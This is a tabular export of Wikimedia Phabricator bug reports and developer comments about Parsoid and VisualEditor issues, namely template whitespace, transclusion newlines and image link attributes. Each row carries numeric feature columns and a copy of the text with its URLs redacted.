232637,monitor mediawiki extensions superproject misconfiguration,"Campaigns not updating, bug 50261",,,1372348299,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-io6oush42k3uezzajdmy,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,4.833333333333333,1.0,"Campaigns not updating, bug 50261"
232633,monitor mediawiki extensions superproject misconfiguration,"Vector was not updated either, might have caused bug 49911",,,1372090121,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-io6oush42k3uezzajdmy,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.454545454545454,1.0,"Vector was not updated either, might have caused bug 49911"
51901,"Parsoid should have template parameter key/value whitespace of "" = "" not ""=""","In edits like https://fr.wikipedia.org/w/index.php?diff=94100781 , the whitespaces between the equal sign of a template parameter and the value of that parameter are removed. This causes confusing diffs since the user didn't make that change.

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1371753840,1372007229.0,PHID-USER-z6nzrwuaij3spgyg23jt,False,,False,PHID-TASK-js3thiqf6n5putzp4qaq,task_description,resolved,True,c1,2,False,False,True,-2,,0.0,0.0,0.0,2.0,2.0,7.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,11.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,20.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,9.0,2.0,9.0,2.0,2.0,15.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,11.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.254545454545455,0.7090909090909091,"In edits like URL , the whitespaces between the equal sign of a template parameter and the value of that parameter are removed. This causes confusing diffs since the user didn't make that change.

--------------------------
**Version**: unspecified
**Severity**: normal"
232275,"Parsoid should have template parameter key/value whitespace of "" = "" not ""=""",This has now been done in Parsoid.,,,1372007229,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-js3thiqf6n5putzp4qaq,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,25.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,1.0,This has now been done in Parsoid.
232264,"Parsoid should have template parameter key/value whitespace of "" = "" not ""=""","That said, we are considering changing the default for edited templates where we normalize to a single space around the '=' sign.  This will still affect other templates where there was no space around them before, but in general, the change might be a better default.

This will still not fix the problem when HTML isn't preserved (either due to Parsoid or VE bugs) in its original form (as noted by Gabriel).  But, changing the default whitespace around '=' for template transclusions should make this look a little better.",,,1371793447,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-js3thiqf6n5putzp4qaq,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,1.0,2.0,5.0,0.5,0.0,0.0,0.0,2.5,4.0,0.0,0.0,0.5,1.0,0.5,6.5,8.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,2.0,0.5,1.5,0.0,2.0,1.5,1.0,0.5,0.0,0.0,0.0,1.0,0.0,0.5,0.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,13.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,2.5,0.0,0.0,2.0,0.0,0.0,5.5,2.5,6.5,2.0,3.5,8.5,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.5,8.0,2.0,0.0,3.0,0.0,2.5,0.0,2.0,2.0,0.5,2.0,1.5,0.0,0.0,4.017676767676768,0.8355218855218856,"That said, we are considering changing the default for edited templates where we normalize to a single space around the '=' sign.  This will still affect other templates where there was no space around them before, but in general, the change might be a better default.

This will still not fix the problem when HTML isn't preserved (either due to Parsoid or VE bugs) in its original form (as noted by Gabriel).  But, changing the default whitespace around '=' for template transclusions should make this look a little better."
232257,"Parsoid should have template parameter key/value whitespace of "" = "" not ""=""","If the user edited the transclusion, then normalization of spaces is to be expected, as remembering every purely syntactical variation would add way too much complexity and slow down processing.

If the user did not touch the transclusion, then you should not see any diff in the template. If you are still seeing a diff, then it is pretty likely that this is a VisualEditor issue. There were some issues in the preservation of HTML for templates when passed through VisualEditor, which can cause the template to appear edited when we get the HTML back.",,,1371777646,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-js3thiqf6n5putzp4qaq,task_subcomment,,True,c1,2,True,,,-2,,2.5,0.0,0.0,0.5,1.0,2.0,2.5,0.0,0.0,2.0,2.0,0.0,0.0,0.0,1.0,1.0,1.0,9.5,10.0,0.0,1.5,0.5,0.0,0.0,2.0,0.0,0.0,0.0,1.0,0.5,0.0,4.5,2.5,1.0,0.5,1.5,1.0,1.0,0.0,0.0,0.0,0.0,0.0,3.5,0.0,0.0,0.0,0.0,0.0,8.5,1.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,7.5,5.0,7.0,5.0,0.5,11.0,0.0,0.0,0.0,0.0,4.5,0.0,0.0,0.0,3.5,10.0,3.0,0.0,0.0,0.0,3.5,0.0,3.0,2.0,0.0,1.5,0.0,0.0,0.0,4.379172714078375,0.8000725689404935,"If the user edited the transclusion, then normalization of spaces is to be expected, as remembering every purely syntactical variation would add way too much complexity and slow down processing.

If the user did not touch the transclusion, then you should not see any diff in the template. If you are still seeing a diff, then it is pretty likely that this is a VisualEditor issue. There were some issues in the preservation of HTML for templates when passed through VisualEditor, which can cause the template to appear edited when we get the HTML back."
51866,"VisualEditor: Transclusion editor shows empty ""content"" sections for newlines","1. Go to [[Ahab]] and edit in VE
2. Select the succession box at the bottom and edit with transclusion editor
3. Observe that ""content"" sections are present that look blank, but on closer inspection, contain only a newline

Some templates (like succession boxes) unfortunately need to be on separate lines in the wikitext :( But the current UI for this is non-obvious and could be made better.

--------------------------
**Version**: unspecified
**Severity**: enhancement",Medium,50.0,1371722040,1393526293.0,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,False,PHID-TASK-fzpzl3u4tnchcdvuauzd,task_description,declined,True,c1,2,False,False,False,-2,,1.0,0.0,0.0,1.0,0.0,8.0,2.5,0.0,0.0,0.0,1.5,0.0,0.0,0.5,0.0,0.0,0.0,1.5,8.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,3.5,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,6.0,0.0,0.5,0.0,0.0,0.0,7.5,1.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,3.5,3.5,7.5,1.0,3.5,5.5,0.0,0.0,0.0,0.0,4.5,0.0,0.5,0.0,0.0,8.5,2.0,0.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.5,0.0,3.0,3.8697387518142237,0.7904571843251089,"1. Go to [[Ahab]] and edit in VE
2. Select the succession box at the bottom and edit with transclusion editor
3. Observe that ""content"" sections are present that look blank, but on closer inspection, contain only a newline

Some templates (like succession boxes) unfortunately need to be on separate lines in the wikitext :( But the current UI for this is non-obvious and could be made better.

--------------------------
**Version**: unspecified
**Severity**: enhancement"
255915,"VisualEditor: Transclusion editor shows empty ""content"" sections for newlines","The work-around that Parsoid did to hide these means that these don't appear unless it's mis-matched, which is reasonable enough that I'm going to flag as WORKSFORME.",,,1393526293,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-fzpzl3u4tnchcdvuauzd,task_subcomment,,True,c1,3,True,,,34,,0.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,3.0,3.0,6.0,0.0,0.0,0.0,3.0,0.0,8.0,19.0,0.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,11.0,3.0,3.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,8.0,3.0,8.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,11.0,11.0,0.0,11.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,6.0,19.0,6.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.888888888888889,0.8611111111111112,"The work-around that Parsoid did to hide these means that these don't appear unless it's mis-matched, which is reasonable enough that I'm going to flag as WORKSFORME."
255908,"VisualEditor: Transclusion editor shows empty ""content"" sections for newlines","This is the exact wikitext that is interspersed between template calls, so follows our DOM spec (see http://www.mediawiki.org/wiki/Parsoid/MediaWiki_DOM_spec#Template_content). 

The decision whether that should be presented in the UI is one for the VisualEditor team to make. Non-whitespace content like '|-' for a new table row is probably important to show, while pure ws could also be hidden from view.",,,1371777288,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-fzpzl3u4tnchcdvuauzd,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,4.0,0.0,10.0,3.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,1.0,0.0,4.0,14.0,0.0,3.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,7.0,3.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,17.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,7.0,9.0,10.0,3.0,0.0,10.0,0.0,0.0,0.0,0.0,7.0,0.0,1.0,0.0,1.0,14.0,4.0,0.0,3.0,0.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,0.8260869565217391,"This is the exact wikitext that is interspersed between template calls, so follows our DOM spec (see URL 

The decision whether that should be presented in the UI is one for the VisualEditor team to make. Non-whitespace content like '|-' for a new table row is probably important to show, while pure ws could also be hidden from view."
255903,"VisualEditor: Transclusion editor shows empty ""content"" sections for newlines","Yeah, this is a bit of a mess. We could get Parsoid to /always/ do a newline between templates of the same generated block, I suppose? Gabriel, thoughts?",,,1371775521,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-fzpzl3u4tnchcdvuauzd,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,12.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,3.0,15.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,6.0,12.0,6.0,6.0,0.0,0.0,6.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,3.7058823529411766,0.8235294117647058,"Yeah, this is a bit of a mess. We could get Parsoid to /always/ do a newline between templates of the same generated block, I suppose? Gabriel, thoughts?"
51844,Images: New images get a link=… set whether or not they need it,"Follow-on from bug 49596.

The insertion of a new image adds link=… whether or not it's been actively set away from the default.

Thus (in the example in bug 49596 comment 0) we get:

[[File:CV.03326.jpg|link=https://commons.wikimedia.org/wiki/File:CV.03326.jpg|right|framed|424x275px]]

… instead of:

[[File:CV.03326.jpg|right|framed|424x275px]]

… which is bad in terms of wikitext-user utility.

--------------------------
**Version**: unspecified
**Severity**: minor",Medium,50.0,1371681900,1395180712.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-pvs5mqz2lxwkwyv7enfq,task_description,resolved,True,c1,2,True,False,False,-2,,0.0,0.0,0.0,1.0,1.0,3.0,1.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,1.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,4.0,0.0,1.0,2.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,5.0,0.0,1.0,0.0,0.0,0.0,15.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,10.0,1.0,1.0,5.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,0.0,2.0,10.0,2.0,0.0,0.0,0.0,2.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,5.0,3.649484536082474,0.6185567010309279,"Follow-on from bug 49596.

The insertion of a new image adds link=… whether or not it's been actively set away from the default.

Thus (in the example in bug 49596 comment 0) we get:

[[File:CV.03326.jpg|link=URL

… instead of:

[[File:CV.03326.jpg|right|framed|424x275px]]

… which is bad in terms of wikitext-user utility.

--------------------------
**Version**: unspecified
**Severity**: minor"
253999,Images: New images get a link=… set whether or not they need it,"Change 119087 merged by jenkins-bot:
Clarified the default link for image insertion.

https://gerrit.wikimedia.org/r/119087",,,1395081900,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-pvs5mqz2lxwkwyv7enfq,task_subcomment,,True,c1,3,False,,,37,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,16.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.526315789473684,1.0,"Change 119087 merged by jenkins-bot:
Clarified the default link for image insertion.

GERRIT_URL"
253995,Images: New images get a link=… set whether or not they need it,"Change 119087 had a related patch set uploaded by Cscott:
Clarified the default link for image insertion.

https://gerrit.wikimedia.org/r/119087",,,1395081559,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-pvs5mqz2lxwkwyv7enfq,task_subcomment,,True,c1,3,False,,,37,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,18.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.636363636363637,1.0,"Change 119087 had a related patch set uploaded by Cscott:
Clarified the default link for image insertion.

GERRIT_URL"
253992,Images: New images get a link=… set whether or not they need it,"Clarified the spec: https://www.mediawiki.org/w/index.php?title=Parsoid%2FMediaWiki_DOM_spec&diff=931265&oldid=931084
I believe Parsoid's behavior is correct.",,,1395081362,,PHID-USER-m2ezqyeb4uz67zq6bats,True,,,PHID-TASK-pvs5mqz2lxwkwyv7enfq,task_subcomment,,True,c1,3,True,,,37,,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,29.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,"Clarified the spec: URL
I believe Parsoid's behavior is correct."
253987,Images: New images get a link=… set whether or not they need it,"mooeypoo and I tried to reproduce without success.  the code looks correct: the link option is suppressed iff a[href] == img[resource].   Both of these should be local relative URLs, since the only way external images can be referenced is via instacommons (which provides local URLs for the image).",,,1395080439,,PHID-USER-m2ezqyeb4uz67zq6bats,True,,,PHID-TASK-pvs5mqz2lxwkwyv7enfq,task_subcomment,,True,c1,3,True,,,37,,0.0,0.0,0.0,3.0,0.0,10.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,10.0,0.0,2.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,22.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,7.0,2.0,2.0,12.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,10.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,4.183333333333334,0.8166666666666667,"mooeypoo and I tried to reproduce without success.  the code looks correct: the link option is suppressed iff a[href] == img[resource].   Both of these should be local relative URLs, since the only way external images can be referenced is via instacommons (which provides local URLs for the image)."
253982,Images: New images get a link=… set whether or not they need it,"Ok, from looking at the code I can confirm that the link= attribute should be suppressed iff the img[resource] attribute is equal to the a[href].  I'm guessing that autocommons is screwing with this?",,,1395077436,,PHID-USER-m2ezqyeb4uz67zq6bats,True,,,PHID-TASK-pvs5mqz2lxwkwyv7enfq,task_subcomment,,True,c1,3,True,,,37,,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,18.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,8.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,12.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,8.0,8.0,5.0,0.0,12.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,5.0,18.0,5.0,2.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,4.175,0.8,"Ok, from looking at the code I can confirm that the link= attribute should be suppressed iff the img[resource] attribute is equal to the a[href].  I'm guessing that autocommons is screwing with this?"
253976,Images: New images get a link=… set whether or not they need it,"Hm, I note that the DOM spec describes ""resource attribute on image"" this way:

> link to image resource page. TODO: what to use for images from commons?

I'm guessing this is the root of the problem.  What is VE currently setting the resource attribute to, for images from commons?",,,1395072264,,PHID-USER-m2ezqyeb4uz67zq6bats,True,,,PHID-TASK-pvs5mqz2lxwkwyv7enfq,task_subcomment,,True,c1,3,True,,,37,,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,2.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,25.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,8.0,4.0,15.0,2.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,12.0,4.0,2.0,4.0,0.0,4.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,3.75,0.7708333333333334,"Hm, I note that the DOM spec describes ""resource attribute on image"" this way:

QUOTE

I'm guessing this is the root of the problem.  What is VE currently setting the resource attribute to, for images from commons?"
253967,Images: New images get a link=… set whether or not they need it,"Hm, maybe this only occurs with images from commons now?  Can you confirm that, James?  It would be helpful to see exactly what VE is giving to Parsoid for new images, and how you are indicating that the link is the default.",,,1395071686,,PHID-USER-m2ezqyeb4uz67zq6bats,True,,,PHID-TASK-pvs5mqz2lxwkwyv7enfq,task_subcomment,,True,c1,3,True,,,37,,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,10.0,14.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,8.0,4.0,2.0,2.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,10.0,2.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,8.0,12.0,6.0,2.0,6.0,0.0,0.0,0.0,0.0,6.0,2.0,0.0,0.0,6.0,14.0,6.0,4.0,0.0,0.0,6.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,3.66,0.8,"Hm, maybe this only occurs with images from commons now?  Can you confirm that, James?  It would be helpful to see exactly what VE is giving to Parsoid for new images, and how you are indicating that the link is the default."
253957,Images: New images get a link=… set whether or not they need it,"Still appears to be happening now that the workaround is removed:

http://en.wikipedia.beta.wmflabs.org/w/index.php?title=User:Whatamidoing_(WMF)/Sandbox&diff=81525&oldid=81245",,,1393637954,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-pvs5mqz2lxwkwyv7enfq,task_subcomment,,True,c1,3,True,,,34,,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,14.0,14.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.285714285714286,1.0,"Still appears to be happening now that the workaround is removed:

URL"
253950,Images: New images get a link=… set whether or not they need it,This bug is fixed; opened bug 61560 for the VE team to revert their workaround hack.,,,1392847659,,PHID-USER-m2ezqyeb4uz67zq6bats,True,,,PHID-TASK-pvs5mqz2lxwkwyv7enfq,task_subcomment,,True,c1,3,True,,,33,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,28.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,6.0,11.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8333333333333335,0.9444444444444444,This bug is fixed; opened bug 61560 for the VE team to revert their workaround hack.
253944,Images: New images get a link=… set whether or not they need it,This should be fixed by https://gerrit.wikimedia.org/r/103082 (if it wasn't already fixed).  Should be verified fixed by the VE team once this lands (and their local workaround reverted?).,,,1387811244,,PHID-USER-m2ezqyeb4uz67zq6bats,True,,,PHID-TASK-pvs5mqz2lxwkwyv7enfq,task_subcomment,,True,c1,3,True,,,25,,0.0,0.0,0.0,8.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,11.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,8.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,8.0,11.0,6.0,3.0,8.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,11.0,6.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.75,0.8055555555555556,This should be fixed by GERRIT_URL (if it wasn't already fixed).  Should be verified fixed by the VE team once this lands (and their local workaround reverted?).
253939,Images: New images get a link=… set whether or not they need it,"I cannot reproduce this on latest master.

[subbu@earth lib] cat /tmp/img.html
<span typeof=""mw:Image"" ><a href=""./File:VisualEditor-logo.svg""><img src=""http://vewiki/MediaWiki/images/thumb/1/12/VisualEditor-logo.svg/300px-VisualEditor-logo.svg.png"" resource=""./File:VisualEditor-logo.svg"" width=""300"" height=""105""></a></span>
[subbu@earth lib] node parse --html2wt < /tmp/img.html
[[File:VisualEditor-logo.svg|300x300px]]",,,1385081773,,PHID-USER-slccyo5rqasgpljxny7g,True,,,PHID-TASK-pvs5mqz2lxwkwyv7enfq,task_subcomment,,True,c1,3,True,,,20,,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,9.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,2.0,18.0,0.0,5.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,20.0,4.651515151515151,0.6212121212121212,"I cannot reproduce this on latest master.

[subbu@earth lib] cat /tmp/img.html
<span typeof=""mw:Image"" ><a href=""./File:VisualEditor-logo.svg""><img src=""URL resource=""./File:VisualEditor-logo.svg"" width=""300"" height=""105""></a></span>
[subbu@earth lib] node parse --html2wt < /tmp/img.html
[[File:VisualEditor-logo.svg|300x300px]]"
